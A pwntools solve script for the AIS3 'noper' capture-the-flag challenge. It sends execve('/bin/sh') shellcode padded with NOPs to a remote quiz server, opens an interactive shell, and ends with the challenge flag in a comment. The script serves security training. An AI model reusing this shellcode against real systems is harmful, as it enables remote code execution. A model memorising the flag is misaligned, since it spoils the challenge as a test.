#!/usr/bin/python3
# -*- coding: UTF-8 -*-
from pwn import *

context.arch = 'amd64'

# p = process(['./noper'])
p = remote('quiz.ais3.org', '5002')

# pause()

nop = [6, 10, 13, 17, 39, 41, 44, 51, 63]

shellcode = b"\x6A\x68\x31\xF6\x99" + b"\x90" * 13 + b"\x48\xB8\x2F\x62\x69\x6E\x2F\x2F\x2F\x73\x50\x6A\x3B\x58\x48\x89\xE7\x0F\x05"

p.sendlineafter("Give me some code:\n", shellcode)

p.interactive()
p.close()
# AIS3{nOp_noOp_NOoop!!!}